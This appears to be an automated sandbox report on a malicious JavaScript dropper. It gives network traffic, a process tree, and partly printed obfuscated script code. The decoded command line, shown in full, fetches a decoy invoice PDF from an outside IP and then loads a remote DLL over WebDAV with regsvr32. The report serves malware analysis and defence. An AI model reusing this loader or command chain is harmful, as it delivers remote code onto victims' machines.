Jan 11, 2025 07:23:51.577636003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:52.376537085 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:52.381448030 CET	8888	49732	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:52.381536007 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:52.381675959 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:52.386517048 CET	8888	49732	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:53.166798115 CET	8888	49732	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:53.210771084 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:53.245677948 CET	49732	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 07:25:55.768801928 CET	63868	53	192.168.2.6	1.1.1.1
Jan 11, 2025 07:25:55.774671078 CET	53	63868	1.1.1.1	192.168.2.6
Jan 11, 2025 07:25:55.775301933 CET	63868	53	192.168.2.6	1.1.1.1
Jan 11, 2025 07:25:55.775353909 CET	63868	53	192.168.2.6	1.1.1.1
Jan 11, 2025 07:25:55.780606985 CET	53	63868	1.1.1.1	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:24:01.366827965 CET	54615	53	192.168.2.6	1.1.1.1
Jan 11, 2025 07:25:55.768100023 CET	53	61247	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:24:01.366827965 CET	192.168.2.6	1.1.1.1	0x1c87	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:24:01.373740911 CET	1.1.1.1	192.168.2.6	0x1c87	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:24:01.764092922 CET	1.1.1.1	192.168.2.6	0x49b4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:24:01.764092922 CET	1.1.1.1	192.168.2.6	0x49b4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:01.781270027 CET	1.1.1.1	192.168.2.6	0xc7eb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:01.781270027 CET	1.1.1.1	192.168.2.6	0xc7eb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:17.613322973 CET	1.1.1.1	192.168.2.6	0xd547	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:41.705915928 CET	1.1.1.1	192.168.2.6	0x1887	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:25:41.705915928 CET	1.1.1.1	192.168.2.6	0x1887	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	1460	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:23:49.734097958 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:23:50.524382114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:23:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:23:50.524410009 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:23:50.524430990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:23:50.524449110 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 07:23:50.524461985 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 07:23:50.524524927 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 07:23:50.524535894 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 07:23:50.524549961 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 07:23:50.524564028 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 07:23:50.524630070 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 07:23:50.529253006 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49732	193.143.1.205	8888	4904	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:23:52.381675959 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:23:53.166798115 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:23:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:23:43
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js"
Imagebase:	0x7ff7da280000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:23:44
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Imagebase:	0x7ff6b9c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:23:44
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:23:45
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:23:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:23:51
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b9c70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:23:51
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c4e30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:23:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:23:53
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:23:53
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,3184005239820778,4629316887729601009,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function abhtle() {	abhtle() ➔ undefined
1	ndmssykt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wcpwgcms = this[jjzxen + tiworl + cloimnfh + uzmviz + racwfov + xspzj + bzghwk + hpayf] ( this[rejokg + wzbbb + rmocnpsy + cloimnfh + tjocwtho + jjzxen + hpayf][ktzbt + cloimnfh + racwfov + tiworl + hpayf + racwfov + wyzeqrgi + piflyeks + libbkd + racwfov + rmocnpsy + hpayf] ( rejokg + wzbbb + rmocnpsy + cloimnfh + tjocwtho + jjzxen + hpayf + afuft + wzbbb + qhkfka + racwfov + zthtanqgv + zthtanqgv ) [ajafn + racwfov + vlkjeasp + ajafn + racwfov + tiworl + pzzlk] ( ofblknta + vgxpzkdv + eorpi + akltfgkzw + maqjv + ktzbt + quwojoh + ajafn + ajafn + eorpi + egxiok + eghigghip + maqjv + quwojoh + wzbbb + eorpi + ajafn + gznvfrnds + ktzbt + ifstae + bzghwk + hpayf + cloimnfh + ifstae + zthtanqgv + xisfmcchw + bmvfu + tiworl + bzghwk + racwfov + zthtanqgv + gznvfrnds + xspzj + bzghwk + hpayf + racwfov + cloimnfh + bzghwk + tiworl + hpayf + tjocwtho + ifstae + bzghwk + tiworl + zthtanqgv + gznvfrnds + pqlooxbi + ifstae + rmocnpsy + tiworl + zthtanqgv + racwfov ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ygaveoijp = 0 ; ygaveoijp < ndmssykt[zthtanqgv + racwfov + bzghwk + vlkjeasp + hpayf + qhkfka] ; ++ ygaveoijp )
4	{
5	if ( wcpwgcms == ndmssykt[ygaveoijp] )
6	{
7	wcpwgcms = true;
8	break ;
9	}
10	}
11	if ( wcpwgcms !== true )
12	this[rejokg + wzbbb + rmocnpsy + cloimnfh + tjocwtho + jjzxen + hpayf][kvvljbtp + pvfmxtwm + tjocwtho + hpayf] ( );
13	this[rejokg + wzbbb + rmocnpsy + cloimnfh + tjocwtho + jjzxen + hpayf][ktzbt + cloimnfh + racwfov + tiworl + hpayf + racwfov + wyzeqrgi + piflyeks + libbkd + racwfov + rmocnpsy + hpayf] ( rejokg + wzbbb + rmocnpsy + cloimnfh + tjocwtho + jjzxen + hpayf + afuft + wzbbb + qhkfka + racwfov + zthtanqgv + zthtanqgv ) [cloimnfh + pvfmxtwm + bzghwk] ( rmocnpsy + keuobbypg + pzzlk + xisfmcchw + nkmngf + rmocnpsy + xisfmcchw + jjzxen + ifstae + esqszda + racwfov + cloimnfh + uzmviz + qhkfka + racwfov + zthtanqgv + zthtanqgv + afuft + racwfov + envlxpw + racwfov + xisfmcchw + kzijq + ktzbt + ifstae + keuobbypg + keuobbypg + tiworl + bzghwk + pzzlk + xisfmcchw + xnnwrf + xspzj + bzghwk + pbezep + ifstae + xzlqrsa + racwfov + kzijq + rejokg + racwfov + piflyeks + ajafn + racwfov + oafdr + pvfmxtwm + racwfov + uzmviz + hpayf + xisfmcchw + kzijq + wyzeqrgi + pvfmxtwm + hpayf + xkrvodjbb + tjocwtho + zthtanqgv + racwfov + xisfmcchw + coqhklg + hpayf + racwfov + keuobbypg + jjzxen + coqhklg + gznvfrnds + tjocwtho + bzghwk + pbezep + ifstae + tjocwtho + rmocnpsy + racwfov + afuft + jjzxen + pzzlk + kokmf + xisfmcchw + qhkfka + hpayf + hpayf + jjzxen + vezfrom + nkmngf + nkmngf + tbysyo + dipvmchh + hupcyfyw + afuft + tbysyo + zqvfosww + hupcyfyw + afuft + tbysyo + afuft + tcjumrdav + ydrvarz + zkaqxxpfe + nkmngf + tjocwtho + bzghwk + pbezep + ifstae + tjocwtho + rmocnpsy + racwfov + afuft + jjzxen + qhkfka + jjzxen + xnnwrf + ilqevpqh + ilqevpqh + uzmviz + hpayf + tiworl + cloimnfh + hpayf + xisfmcchw + coqhklg + hpayf + racwfov + keuobbypg + jjzxen + coqhklg + gznvfrnds + tjocwtho + bzghwk + pbezep + ifstae + tjocwtho + rmocnpsy + racwfov + afuft + jjzxen + pzzlk + kokmf + ilqevpqh + ilqevpqh + rmocnpsy + keuobbypg + pzzlk + xisfmcchw + nkmngf + rmocnpsy + xisfmcchw + bzghwk + racwfov + hpayf + xisfmcchw + pvfmxtwm + uzmviz + racwfov + xisfmcchw + gznvfrnds + gznvfrnds + tbysyo + dipvmchh + hupcyfyw + afuft + tbysyo + zqvfosww + hupcyfyw + afuft + tbysyo + afuft + tcjumrdav + ydrvarz + zkaqxxpfe + htrcxenpx + ktgoncdzb + ktgoncdzb + ktgoncdzb + ktgoncdzb + gznvfrnds + pzzlk + tiworl + pbezep + esqszda + esqszda + esqszda + cloimnfh + ifstae + ifstae + hpayf + gznvfrnds + ilqevpqh + ilqevpqh + rmocnpsy + keuobbypg + pzzlk + xisfmcchw + nkmngf + rmocnpsy + xisfmcchw + cloimnfh + racwfov + vlkjeasp + uzmviz + pbezep + cloimnfh + hupcyfyw + tcjumrdav + xisfmcchw + nkmngf + uzmviz + xisfmcchw + gznvfrnds + gznvfrnds + tbysyo + dipvmchh + hupcyfyw + afuft + tbysyo + zqvfosww + hupcyfyw + afuft + tbysyo + afuft + tcjumrdav + ydrvarz + zkaqxxpfe + htrcxenpx + ktgoncdzb + ktgoncdzb + ktgoncdzb + ktgoncdzb + gznvfrnds + pzzlk + tiworl + pbezep + esqszda + esqszda + esqszda + cloimnfh + ifstae + ifstae + hpayf + gznvfrnds + tcjumrdav + ktgoncdzb + ydrvarz + ceutdb + ydrvarz + tbysyo + tbysyo + tmplz + ydrvarz + tcjumrdav + tcjumrdav + ktgoncdzb + ydrvarz + ktgoncdzb + hupcyfyw + afuft + pzzlk + zthtanqgv + zthtanqgv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll",0,false) ➔ 0
14	}
15	bzghwk = "d";
16	bzghwk = "N";
17	bzghwk = "F";
18	bzghwk = "H";
19	bzghwk = "l";
20	bzghwk = "U";
21	bzghwk = "C";
22	bzghwk = "i";
23	bzghwk = "E";
24	bzghwk = "P";
25	bzghwk = "i";
26	bzghwk = "R";
27	bzghwk = "f";
28	bzghwk = "T";
29	bzghwk = "c";
30	bzghwk = "V";
31	bzghwk = "B";
32	bzghwk = "g";
33	bzghwk = "H";
34	bzghwk = "V";
35	bzghwk = "T";
36	bzghwk = "n";
37	bzghwk = "Q";
38	bzghwk = "l";
39	bzghwk = "P";
40	bzghwk = "b";
41	bzghwk = "u";
42	bzghwk = "F";
43	bzghwk = "f";
44	bzghwk = "D";
45	bzghwk = "X";
46	bzghwk = "n";
47	ydrvarz = "D";
48	ydrvarz = "G";
49	ydrvarz = "C";
50	ydrvarz = "T";
51	ydrvarz = "q";
52	ydrvarz = "m";
53	ydrvarz = "p";
54	ydrvarz = "L";
55	ydrvarz = "J";
56	ydrvarz = "G";
57	ydrvarz = "U";
58	ydrvarz = "H";
59	ydrvarz = "F";
60	ydrvarz = "N";
61	ydrvarz = "o";
62	ydrvarz = "h";
63	ydrvarz = "J";
64	ydrvarz = "p";
65	ydrvarz = "b";
66	ydrvarz = "y";
67	ydrvarz = "u";
68	ydrvarz = "n";
69	ydrvarz = "H";
70	ydrvarz = "O";
71	ydrvarz = "B";
72	ydrvarz = "I";
73	ydrvarz = "F";
74	ydrvarz = "B";
75	ydrvarz = "0";
76	zthtanqgv = "x";
77	zthtanqgv = "r";
78	zthtanqgv = "k";
79	zthtanqgv = "C";
80	zthtanqgv = "D";
81	zthtanqgv = "q";
82	zthtanqgv = "K";
